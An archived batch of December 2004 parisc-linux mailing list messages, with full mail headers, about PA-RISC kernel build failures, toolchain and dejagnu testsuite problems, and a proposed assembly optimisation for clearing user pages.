	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22168

I'm getting the same results with 2.6.9 I got from kernel.org.
I left all of the "stock" setting. SOM support is off.
I just intalled Debian on a K200 yesterday. Everythings working except
peripherals.

Thanks
Richard Ray


>> I submit the compile session to the gurus on the list to see what I
>> might be doing wrong... :-)
>
> this is a real bug, but HPUX support is currently not working anyway, so
> if you turn that off, (SOM support) it should build.
>
> randolph
> --
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.8 compile bomb...
Date: Thu, 2 Dec 2004 09:42:52 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20041202164252.GA15041@colo.lackof.org>
References: <Pine.LNX.4.58.0412020842550.10014@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623613 11897 80.91.229.3 (22 Nov 2014 02:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rray@tcmail.mstc.state.ms.us
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29535 invoked by uid 65534); 2 Dec 2004 16:44:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 02 Dec 2004 17:44:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7F0263BE6D; Thu,  2 Dec 2004 09:44:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05769-10; Thu, 2 Dec 2004 09:44:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C15613BE6E; Thu,  2 Dec 2004 09:43:22 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B30A63BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 09:43:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05736-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 09:43:15 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 233493BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 09:43:15 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F0F91298052; Thu,  2 Dec 2004 09:43:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15237-09; Thu, 2 Dec 2004 09:42:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 881D629804C; Thu,  2 Dec 2004 09:42:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0412020842550.10014@rray.drdc.mstc.ms.gov>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22169

On Thu, Dec 02, 2004 at 08:48:47AM -0600, rray@tcmail.mstc.state.ms.us wrote:
> I'm getting the same results with 2.6.9 I got from kernel.org.

kernel.org is missing patches that parisc needs.
See http://cvs.parisc-linux.org/download/linux-2.6/

> I left all of the "stock" setting. SOM support is off.
> I just intalled Debian on a K200 yesterday. Everythings working except
> peripherals.

For a newer kernel, the above URL provides a debian depot that
one can install *experimental* kernels from.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Userland relocation problems resolved (was: kernel
	module relocation bug)
Date: Thu, 2 Dec 2004 22:54:07 +0100 (MET)
Lines: 22
Approved: news@gmane.org
Message-ID: <200412022154.iB2Ls8ci007096@arbas.nms.ulrich-teichert.org>
References: <200411292346.iATNk8hq003726@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623613 11900 80.91.229.3 (22 Nov 2014 02:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20174 invoked by uid 65534); 2 Dec 2004 21:56:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 02 Dec 2004 22:56:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 942C93BE6D; Thu,  2 Dec 2004 14:56:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08840-07; Thu, 2 Dec 2004 14:55:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BE8A93BE6E; Thu,  2 Dec 2004 14:55:24 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C35B23BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 14:55:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08840-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 14:55:16 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (i3ED65369.versanet.de
	[62.214.83.105])
	by free.linux.hp.com (Postfix) with ESMTP id D6EC23BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 14:55:12 -0700 (MST)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1) with ESMTP id
	iB2Ls8Z4007098; Thu, 2 Dec 2004 22:54:08 +0100
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1/Submit) id
	iB2Ls8ci007096; Thu, 2 Dec 2004 22:54:08 +0100
X-Authentication-Warning: arbas.nms.ulrich-teichert.org: ut set sender to
	krypton using -f
In-Reply-To: <200411292346.iATNk8hq003726@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Nov 29, 2004 06:46:08 PM
X-Mailer: ELM [version 2.5 PL2]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22170

Hi,

[del]
>Binutils 2.15, gcc 3.3.4.  No.

Right. Now it builds OK and passes most of the tests. The build finished
about two hours ago (on a B1000 - I don't have enough RAM).
I too have the problem of hanging 'expect' processes - now that I have a
new compiler, I should go for a newer kernel as well, I suppose ;-)

Thanks to all,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Suicide Drive (The Deep Eynde)
24539 Neumuenster, Germany|Public Pervert (Interpol) Cl De Contact (Metal Urbain)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Userland relocation problems resolved (was:
	kernel module relocat
Date: Thu, 2 Dec 2004 17:51:58 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200412022251.iB2Mpwk6006738@hiauly1.hia.nrc.ca>
References: <200412022154.iB2Ls8ci007096@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623614 11907 80.91.229.3 (22 Nov 2014 02:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: krypton@ulrich-teichert.org (Ulrich Teichert)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15950 invoked by uid 65534); 2 Dec 2004 22:52:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 02 Dec 2004 23:52:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ABA643BE6D; Thu,  2 Dec 2004 15:52:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10529-09; Thu, 2 Dec 2004 15:52:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DF5DB3BE6E; Thu,  2 Dec 2004 15:52:08 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B38973BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 15:52:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10525-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 15:52:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DF0C03BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 15:52:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iB2Mpwko006739; Thu, 2 Dec 2004 17:51:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iB2Mpwk6006738;
	Thu, 2 Dec 2004 17:51:58 -0500 (EST)
In-Reply-To: <200412022154.iB2Ls8ci007096@arbas.nms.ulrich-teichert.org> from
	"Ulrich Teichert" at Dec 2, 2004 04:54:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22171

> I too have the problem of hanging 'expect' processes - now that I have =
> a
> new compiler, I should go for a newer kernel as well, I suppose ;-)

dave@hiauly6:~$ runtest --version
WARNING: Couldn't find the global config file.
Expect version is       5.42.1
Tcl version is          8.3
Framework version is    1.4.4

This is the most reliable configuration that I have found.  Tcl 8.4
is substantially worse.  Expect SEGVs on recent 64-bit SMP kernels in
the GCC testsuite.  I don't see the problem on 32-bit non-SMP kernels.
Sometimes java processes don't terminate although the testsuite
completes.  There is an issue with dejagnu asking tcl to trap SEGVs.
This causes tcl to try to restart expect after a SEGV.  The behavior
of signal is undefined in this situation and may cause the SEGV to
be repeated in an infinite loop.  You can fix this by editing dejagnu.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Fri, 03 Dec 2004 10:24:24 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <41B03ED8.8090505@tiscali.be>
References: <418A80AE0000A9A8@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623614 11909 80.91.229.3 (22 Nov 2014 02:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5129 invoked by uid 65534); 3 Dec 2004 10:56:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 03 Dec 2004 11:56:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AB25E3BE68; Fri,  3 Dec 2004 03:25:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15162-08; Fri, 3 Dec 2004 03:25:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 86C123BE6E; Fri,  3 Dec 2004 03:24:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFBA73BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 03:24:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15162-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 03:24:30 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8333BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 03:24:30 -0700 (MST)
Original-Received: from [83.134.225.14] (helo=[83.134.225.14])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CaAXl-0003dZ-58; Fri, 03 Dec 2004 11:20:05 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <418A80AE0000A9A8@mail-4-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22172

Hello all,

I need more advise:

Joel Soete wrote:
> [...]
> 
>>but looking at the other ones:
>>- __clear_user_page_asm can be optimized for 64-bit by writing 8 bytes
>>  at a time instead of 4
> 
> Is it the idea (principle only):
> --- arch/parisc/kernel/pacache.S.Orig	2004-12-01 17:09:53.000000000 +0100
> +++ arch/parisc/kernel/pacache.S-t1	2004-12-01 17:58:16.000000000 +0100
> @@ -505,6 +505,16 @@
>  	ldi 64,%r1
>  
>  1:
> +#ifdef __LP64__
> +	std	%r0,0(%r28)
> +	std	%r0,8(%r28)
> +	std	%r0,16(%r28)
> +	std	%r0,24(%r28)
> +	std	%r0,32(%r28)
> +	std	%r0,40(%r28)
> +	std	%r0,48(%r28)
> +	std	%r0,56(%r28)
> +#else
>  	stw %r0,0(%r28)
>  	stw %r0,4(%r28)
>  	stw %r0,8(%r28)
> @@ -521,6 +531,7 @@
>  	stw %r0,52(%r28)
>  	stw %r0,56(%r28)
>  	stw %r0,60(%r28)
> +#endif
>  	ADDIB>  -1,%r1,1b
>  	ldo 64(%r28),%r28
> 
I test it on my b2k with 64bit kernel and it works but it didn't seems to bring me any benefit?
As far as I can believe readprofile: the ratio between the first and last column is always the same (1/80 in this case).
What did I miss?
My hope was at least a befenit of 1/2 as I reduce insn number in the same rate.
Right now my idea is to write a small test case to see if using the same number on insn but with less loop will help or not?


Thanks again for more advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: *lcul and memory granularity question[Was: [parisc-linux]
	2.6.10-rc1-pa11 profile data]
Date: Fri, 3 Dec 2004 15:13:27 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20041203151327.GG29370@parcelfarce.linux.theplanet.co.uk>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org> <41B07F91.9000000@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623614 11914 80.91.229.3 (22 Nov 2014 02:33:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26147 invoked by uid 65534); 3 Dec 2004 15:14:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 03 Dec 2004 16:14:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE6D73BE72; Fri,  3 Dec 2004 08:14:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20201-04; Fri, 3 Dec 2004 08:14:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B0D863BE77; Fri,  3 Dec 2004 08:13:43 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BF433BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:13:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20015-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Dec 2004 08:13:30 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id A308B3BE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Dec 2004 08:13:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CaF7g-0003iI-24; Fri, 03 Dec 2004 15:13:28 +0000
Content-Disposition: inline
In-Reply-To: <41B07F91.9000000@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22173

On Fri, Dec 03, 2004 at 03:00:33PM +0000, Joel Soete wrote:
> >- *lclu* can be rewritten to do better than 1-byte at a time
> 
> I have an additional question about parisc alignment and this remark:
> a char type var is 1byte align; ... but what's about a 3, 5, 7 and more 
> bytes struct size?

Don't think in terms of structs, think in terms of an arbitrary array of
bytes.  You can't assume anything about the alignment of lclu or the size.
In particular, you can't write more than the requested number of bytes.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
